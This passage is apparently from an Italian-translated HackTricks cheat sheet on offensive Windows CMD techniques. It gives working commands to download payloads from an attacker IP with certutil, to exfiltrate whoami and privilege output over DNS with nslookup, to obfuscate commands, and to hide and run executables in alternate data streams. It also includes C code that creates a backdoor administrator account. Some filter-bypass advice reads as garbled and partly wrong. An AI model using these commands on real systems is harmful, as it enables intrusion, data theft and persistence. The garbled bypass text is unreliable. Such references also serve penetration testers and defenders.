Example:
```plaintext
certutil -setreg -enterprise <RegistryPath> <Value>
```
#### -getreg -enterprise
The `-getreg -enterprise` command is used to get the value of a registry key in the enterprise context.
Example:
```plaintext
certutil -getreg -enterprise <RegistryPath>
```
#### -pingadmin -enterprise
The `-pingadmin -enterprise` command is used to check the connectivity to a specified URL as an administrator in the enterprise context.
Example:
```plaintext
certutil -pingadmin -enterprise <URL>
```
For more information about Certutil.exe and its commands, refer to the [Microsoft documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil).
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**Trova molto di più cercando `Download` su** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
### Varie
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
#### Bypass del Blacklisting dei Caratteri
In alcuni casi, quando si tenta di iniettare comandi in un'applicazione, si può incontrare un filtro che blocca determinati caratteri. Tuttavia, è possibile aggirare questo filtro utilizzando tecniche di bypass.
**1. Utilizzo di caratteri alternativi**
Alcuni caratteri possono essere sostituiti con varianti simili che non vengono bloccate dal filtro. Ad esempio, il carattere "a" può essere sostituito con il carattere "à" o "á". Provare a sostituire i caratteri bloccati con le loro varianti alternative per aggirare il filtro.
**2. Utilizzo di caratteri esadecimali**
I caratteri possono essere rappresentati utilizzando la loro forma esadecimale. Ad esempio, il carattere "a" può essere rappresentato come "%61". Provare a convertire i caratteri bloccati nella loro forma esadecimale per aggirare il filtro.
**3. Utilizzo di caratteri unicode**
I caratteri possono essere rappresentati utilizzando il loro valore unicode. Ad esempio, il carattere "a" può essere rappresentato come "\u0061". Provare a convertire i caratteri bloccati nel loro valore unicode per aggirare il filtro.
**4. Utilizzo di caratteri di escape**
Alcuni caratteri possono essere preceduti da un carattere di escape per evitare il blocco del filtro. Ad esempio, il carattere "a" può essere preceduto da un backslash ("") per diventare "\a". Provare a utilizzare caratteri di escape per aggirare il filtro.
**5. Utilizzo di caratteri HTML**
I caratteri possono essere rappresentati utilizzando le loro entità HTML. Ad esempio, il carattere "a" può essere rappresentato come "& #97;". Provare a convertire i caratteri bloccati nelle loro entità HTML per aggirare il filtro.
Ricordarsi sempre di testare attentamente le tecniche di bypass per assicurarsi che funzionino correttamente.
```bash
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
```
#### DOSfuscation
Genera una linea di comando CMD oscurata
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
#### ACL degli indirizzi di ascolto
È possibile ascoltare su [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) senza essere amministratore.
```bash
netsh http show urlacl
```
#### Shell DNS manuale
**Attacker** (Kali) deve utilizzare una delle seguenti 2 opzioni:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
**Vittima**
Tecnica **`for /f tokens`**: Ciò ci consente di eseguire comandi, ottenere le prime X parole di ogni riga e inviarle tramite DNS al nostro server.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
Puoi anche **ridirigere** l'output e poi **leggerlo**.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
### Chiamare CMD dal codice C
To call CMD from C code, you can use the `system()` function provided by the C standard library. This function allows you to execute a command in the command prompt.
Per chiamare CMD dal codice C, puoi utilizzare la funzione `system()` fornita dalla libreria standard del linguaggio C. Questa funzione ti consente di eseguire un comando nel prompt dei comandi.
Here is an example of how to use the `system()` function to call CMD and execute a command:
Ecco un esempio di come utilizzare la funzione `system()` per chiamare CMD ed eseguire un comando:
```c
#include <stdlib.h>
int main() {
system("command_to_execute");
return 0;
}
```
Replace `"command_to_execute"` with the actual command you want to execute in CMD.
Sostituisci `"command_to_execute"` con il comando effettivo che desideri eseguire in CMD.
Keep in mind that using the `system()` function can be a security risk, as it allows for arbitrary command execution. Make sure to validate and sanitize any user input before using it in the command.
Tieni presente che l'utilizzo della funzione `system()` può comportare un rischio per la sicurezza, in quanto consente l'esecuzione di comandi arbitrari. Assicurati di convalidare e sanificare qualsiasi input dell'utente prima di utilizzarlo nel comando.
```c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
### Scheda di riferimento per gli Alternate Data Streams (ADS/Alternate Data Stream)
**Esempi tratti da** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ce ne sono molti altri!**
```bash
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>